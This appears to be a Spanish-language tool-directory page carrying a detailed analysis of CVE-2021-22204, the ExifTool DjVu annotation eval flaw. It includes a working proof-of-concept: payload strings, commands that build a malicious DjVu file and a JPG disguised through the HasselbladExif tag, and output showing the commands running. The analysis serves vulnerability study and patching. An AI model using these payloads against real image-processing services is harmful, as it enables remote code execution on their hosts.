Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-22204 — Análisis técnico en profundidad de CVE-2021-22204 (ExifTool RCE) con reproducción de PoC, construcción de carga útil y revisión de código Perl del analizador de anotaciones DjVu vulnerable. | Kitploit
Herramientas/GitHubGitHub/trganda/cve-2021-22204
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Análisis técnico en profundidad de CVE-2021-22204 (ExifTool RCE) con reproducción de PoC, construcción de carga útil y revisión de código Perl del analizador de anotaciones DjVu vulnerable.

Ver Repositorio
3hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de ejecución remota de código en ExifTool

Este debería ser un artículo de análisis sobre CVE-2021-22204, pero más bien parece mi cuaderno de borrador, lleno de muchas cosas desordenadas. Para un artículo de análisis de vulnerabilidades resulta un tanto irrelevante, pero me ha enseñado mucho.

Para ser sincero, nunca había usado esta herramienta y casi no había tenido contacto con el lenguaje Perl, lo que provocó que durante el análisis y la replicación tuviera muchas preguntas en mi mente. Antes de comenzar el análisis, veamos el PoC ya publicado en Internet y las dudas que tengo.

PoC - convisolabs

El artículo que vi es [1], que ofrece una breve introducción a la causa de la vulnerabilidad, pero como no entiendo el código Perl, muchas partes no me quedan claras. Su proceso de replicación es el siguiente:

Descargar la versión 12.23 de exiftool

root@kitploit:~
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Descomprimir e instalar

root@kitploit:~
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Por supuesto, si no quieres instalarlo, puedes colocar el archivo exiftool del directorio exiftool-12.23 en un directorio que esté en las variables de entorno, así podrás usar directamente la herramienta exiftool, ya que Perl es un lenguaje interpretado, similar a Python.

Crear una imagen maliciosa. Primero instalar las herramientas necesarias

root@kitploit:~
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Ejecutar los siguientes comandos para crear un archivo djvu malicioso

root@kitploit:~
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Esto es lo que más me confunde, no entiendo por qué hay que comprimirlo (porque en otros PoC no es necesario)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Cualquier cosa en el formato 'N,N' donde N es un número
# BGjp = Espera una imagen JPEG, pero podemos usar /dev/null para no usar imagen de fondo
# ANTz = Escribe el bloque de anotación comprimido con el archivo de entrada

Luego, al analizar el archivo malicioso con la herramienta exiftool, se puede ver que el comando id se ejecuta correctamente

root@kitploit:~
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

En la creación anterior, al usar el comando djvumake para generar un archivo en formato djvu, ¿se puede omitir la compresión del payload? Porque desde el punto de vista del análisis no es conveniente para la visualización y las pruebas. Por supuesto que se puede, solo hay que cambiar el parámetro ANTz por ANTa. Estos ANTz y ANTa se pueden consultar en la documentación de exiftool [3], pero aún así no encontré su significado específico, ya que no hay una descripción estándar.

Aquí quiero quejarme un poco: intenté ver la descripción de los parámetros con man djvumake, pero resulta que no hay ninguna explicación sobre ANTz y ANTa. La fecha del documento es de 2001, hace mucho que no se actualiza.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa indica que la Annotation se almacena en texto plano en los metadata dentro del archivo djvu, mientras que ANTz es el formato de compresión bzz.

Sin embargo, los archivos en formato djvu no son comunes, especialmente en sitios web donde se permite la subida de imágenes; la mayoría solo acepta archivos png/jpg/jpeg. Por lo tanto, sería ideal si se pudiera convertir el archivo djvu malicioso en un archivo jpg.

La herramienta exiftool nos permite modificar el contenido de las imágenes. Basta con insertar el archivo djvu malicioso en la posición adecuada de un archivo jpg. En cuanto a la posición exacta y por qué puede ser esa, se explicará más adelante durante el análisis.

Crear un archivo de configuración de exiftool llamado eval.config

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b corresponde al Tag 'HasselbladExif'[6]
        0xc51b => {
            # El nombre se puede especificar libremente, es el nombre del parámetro que se recibe
            Name => 'HasselbladExif',
            # Tipo de variable escribible
            Writable => 'string',
            # El grupo de metadatos al que pertenecen los datos escritos [7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Sobre la escritura de archivos de configuración de exiftool, se puede consultar [4][5]. Luego, tomar una imagen jpg común llamada poc.jpg y ejecutar el siguiente comando

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Luego, analizar poc.jpg con exiftool; el comando se ejecuta correctamente

root@kitploit:~
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : poc.jpg
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Análisis de la vulnerabilidad

El siguiente proceso de análisis hace referencia al contenido de [2]. La versión afectada por la vulnerabilidad es exiftool < 12.24, y el archivo que la provoca es

root@kitploit:~
lib/Image/ExifTool/DjVu.pm (línea 202)

El código de la función relevante es el siguiente

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Nunca había tenido contacto con el lenguaje Perl. Sinceramente, no entendí casi nada de lo que hace este código, pero afortunadamente tiene comentarios muy buenos que ayudan a comprender la función. Según los comentarios, se utiliza para analizar los datos de annotation en archivos djvu, y por la estructura del código, es recursivo, y los datos annotation están delimitados por ().

Expresiones regulares en Perl

Para facilitar la comprensión del código y también con fines de aprendizaje, aquí se introduce brevemente el uso de expresiones regulares en Perl.

El uso de expresiones regulares en Perl es bastante particular y diferente a otros lenguajes que he visto antes. En Perl, las expresiones regulares tienen tres formas:

  • Coincidencia m//, la m se puede omitir
  • Sustitución s///
  • Transformación tr///

Lo que va entre // es la expresión regular o cadena, pero los delimitadores también pueden ser {} en lugar de estar limitados a //, esta es una característica del lenguaje Perl.

Veamos primero un ejemplo de código de coincidencia

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";

En Perl, se puede usar la funcionalidad de expresiones regulares mediante el operador =~. En el código anterior, independientemente de si la expresión regular coincide o no, al imprimir $str, la salida será this is a string. Pero cuando la expresión regular no coincide, devuelve el valor booleano false.

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}

Si se quiere reemplazar el contenido de una variable de cadena, se puede hacer así

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# salida
# this is str

Al usar la función de sustitución, el valor de la variable se modifica directamente.

Una vez entendido el contenido de las expresiones regulares en Perl, volvamos a la función anterior

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # Obtener el parámetro pasado (una referencia)
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # Al encontrar un paréntesis izquierdo, procesar recursivamente
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # Obtener la posición donde coincidió la expresión regular anterior; al llegar aquí, esa posición es la del primer carácter de comillas
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # Volver a coincidir la posición de la comilla derecha y extraer el contenido entre las comillas
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # Verificar si el número de barras invertidas es impar, para evitar que en el qq{""} posterior se escape la " al final de la línea
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # Si es impar, agregar una comilla "
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Para facilitar la comprensión, necesitamos un archivo adecuado que haga que exiftool ejecute esta función al analizarlo. Podemos construir un archivo djvu llamado exploit.djvu de la misma manera que antes, con el siguiente contenido de payload

root@kitploit:~
(metadata (Author "trganda"))

Luego, agregar algunos print en puntos clave de la función ParseAnt($) para imprimir información, como se muestra arriba. Después, ejecutar desde el directorio de código fuente de exiftool

root@kitploit:~
$ ./exiftool ruta_a_tu/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignorar

A partir de aquí, se puede ver que el contenido que finalmente se pasa a eval para su ejecución es, teniendo en cuenta que las comillas dobles no se pueden ignorar.

root@kitploit:~
"trganda"

Entonces, ¿se puede reemplazar trganda por la función system para ejecutar comandos? Veamos

root@kitploit:~
$tok = "${system('id')};";
# salida
# "\${system('id')};"

Al ejecutar, se descubre que la salida es solo el texto ingresado, el código no se ejecuta, porque $ se reemplaza por \$

root@kitploit:~
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

Entonces, ¿cómo se puede evitar esta limitación? Para resolver este problema, hay que ir paso a paso. El autor de [2], durante sus pruebas, utilizó el siguiente payload.

root@kitploit:~
(metadata (Author "a\
""))

La salida después de la ejecución es la siguiente, eval lanza una excepción.

root@kitploit:~
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Aquí se explica qué sucede después de pasar este payload, principalmente enfocándose en el segundo bucle for

root@kitploit:~
# El contenido de Author como Annotation es, sin omitir \n
"a\(\n)
""
# En el bucle for, la primera extracción de subcadena, el contenido obtenido de $tok es el siguiente, porque la primera expresión regular coincide con la primera comilla doble, y la segunda coincide con la primera comilla doble de la segunda línea
a\(\n)
# Luego, el código verifica si el número de \ al final de la línea es impar. Si lo es, agrega una ".
# Y la expresión regular $tok =~ /(\\+)$/ coincide con el $ que coincide con \n, no con el final real del texto.
# Así, se ejecuta el código siguiente, añadiendo una " al final de $tok.
a\(\n)"
# Al entrar al bucle por segunda vez para extraer la subcadena, se obtiene el contenido entre las comillas de la segunda línea, pero está vacío. Después de concatenar con $tok, el resultado es el mismo que antes.
a\(\n)"
# Luego, al entrar en el eval, el contenido a ejecutar es
qq{"$tok"} -> "a\(\n)""
# Después de ejecutar eval, se produce un error porque las " no están cerradas
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Sobre la lógica de ejecución de eval en Perl, se recomienda consultar la documentación oficial [9]. Sin embargo, debido a que algunas partes no están mencionadas en la documentación y a que nunca he usado Perl, al principio no pude entender algunas partes. Solo pude entender cierta lógica de eval mediante pruebas continuas con ejemplos de código. A continuación se mencionará algún contenido que ayude a comprender esta vulnerabilidad antes de comenzar a explicar el proceso de ejecución del payload real.

eval en Perl

La función de eval en Perl, además de ejecutar fragmentos de código, también puede capturar excepciones sin interrumpir la ejecución del programa. eval puede recibir constantes de cadena, variables de cadena o directamente código para analizar y ejecutar.

root@kitploit:~
# Constante de cadena
eval "system('id')";
# Variable
$cm = "system('id')";
eval $cm;
eval "$cm";
# Ejecutar código directamente
eval {system('id');};
# salida
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

La estrategia de ejecución de eval es devolver solo el resultado de la última subexpresión. Es decir, si contiene múltiples fragmentos de código, solo toma el último resultado, algo como lo siguiente

root@kitploit:~
eval "system('id'); system('date');"
# salida
# 2021年 11月 04日 星期四 11:49:22 CST

Cuando eval encuentra un error al ejecutar una declaración, las declaraciones posteriores no se ejecutan y se lanza una excepción (si la hay).

Volviendo al payload de prueba anterior, ¿hay alguna observación? Si podemos cerrar correctamente " y colocar el código a ejecutar entre las " de la segunda línea, entonces el código puede ser ejecutado por eval.

El autor de [2] dio la siguiente forma

root@kitploit:~
(metadata
    (Author "\
" . return `date`; #")
)
# El contenido final pasado a eval para su ejecución es
"\
" . return `date`; #"

¿Cómo entender esta parte ejecutada por eval? Primero, el operador . en Perl se utiliza para concatenar cadenas, por lo que se ejecutará primero

root@kitploit:~
return `date`;

Luego, el resultado se concatena con \(\n). En realidad, agregar return no afecta la ejecución del comando date, y la " final se comenta.

Por supuesto, también se puede escribir así

root@kitploit:~
(metadata (Author "\
"; return `date`; #"))
# El contenido final pasado a eval para su ejecución es
"\
"; return `date`; #"

De esta manera, eval primero analiza "\(\n)";, interpretando esta parte como una cadena, luego continúa analizando las declaraciones posteriores, por lo que el comando date se ejecuta correctamente.

Al ejecutar el payload anterior, se verá el siguiente resultado, mostrando que se ejecutó correctamente.

root@kitploit:~
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...

Otras formas de evasión

Escribiendo esto, estoy un poco cansado. El payload dado por el autor de [2] evitando " funciona perfectamente, pero ¿hay otras formas? En realidad, volviendo al contenido inicial de [1], ya se había dado

root@kitploit:~
(metadata "\c${system('id')};")

Hay que saber que la función ParseAnt($) reemplaza el símbolo $, por lo que no se puede ejecutar directamente. ¿Por qué esto funciona? ¿Te preguntas cuál es la función de \c? Primero, construye un archivo djvu con este payload, y después de ser analizado por exiftool, el contenido pasado a eval es

root@kitploit:~
"\c\${system('id')};"

Sin la presencia de \c

root@kitploit:~
"\${system('id')};"

Este código no se ejecutará, y el valor devuelto será solo una cadena, porque el símbolo $ está escapado. La función de \c es cancelar el efecto de la \ delante de $, permitiendo que el código posterior se ejecute. En Perl, también hay muchos caracteres de escape, y \c es uno de ellos, pero no se usa solo; debe combinarse con un carácter arbitrario.

Secuencia de escapeSignificado
\cXCarácter de control, X puede ser cualquier carácter

Precisamente por esto, \c\ se interpreta como otro contenido, permitiendo que el código posterior se ejecute.

Otros formatos de archivo

Los archivos maliciosos construidos anteriormente se limitan a archivos en formato djvu. Si se pudiera construir un archivo común, como una imagen jpg, tendría más sentido. Para lograr esto, es necesario encontrar qué archivos, al ser analizados, invocan a la función vulnerable ParseAnt($).

Buscando hacia arriba, se descubre que ProcessAnt($$$) llama a ParseAnt($), pero al rastrear hacia arriba no se puede encontrar directamente.

root@kitploit:~
ProcessAnt($$$)
	|
	v
 ParseAnt($)

Debido a que en Perl existe un mecanismo de carga dinámica de módulos, se puede intentar ver dónde se carga el archivo Djvu.pm.

1636264024890.png

Al revisar los archivos encontrados uno por uno, se descubre que en lib/Image/ExifTool.pm, línea 2620, hay código que, según el tipo de archivo, decide qué módulo cargar para procesar el archivo correspondiente.

root@kitploit:~
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}

Luego, se continúa buscando dónde se llama a ExtractInfo($;@), y se encuentran múltiples lugares. Principalmente nos enfocamos en el código de la línea 3004 en lib/Image/ExifTool/Exif.pm

root@kitploit:~
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);

%Image::ExifTool::Exif::Main es una tabla en forma de mapa, y la función de Exif.pm, como se indica en los comentarios, es leer información de metadatos conforme a las especificaciones EXIF/TIFF.

Description: Read EXIF/TIFF meta information

En realidad, durante la replicación anterior, ya vimos %Image::ExifTool::Exif::Main. En ese momento no entendía qué significaba 0xc51 ni por qué debía ser ese valor. Ahora sabemos que si la información metadata del archivo contiene el contenido correspondiente al id 0xc51, entonces esta será analizada por la función ExtractInfo, y gradualmente llegará a la función vulnerable.

Por lo tanto, en la sección anterior, mediante la potente función de personalización de exiftool, escribimos un archivo de configuración, lo personalizamos como un archivo jpg común, e insertamos metadatos del tipo 0xc51b que contienen contenido malicioso. Hasta aquí, todo el proceso de activación está básicamente claro, y mis propias dudas han sido resueltas. El autor de [2] también proporciona formas de insertar datos maliciosos en otros formatos de archivo, y la idea es similar a esta.

Solución

Observando el diff en GitHub, el resultado es el siguiente

diff

Referencias

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)

[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

[3] TagNames of DjVu

[4] TagNames Explan

[5] Exiftool User Defined Configuration File

[6] EXIF

[7] Groups

[8] exiftool-arbitrary-code-execution

[9] eval in Perl

Descargar herramienta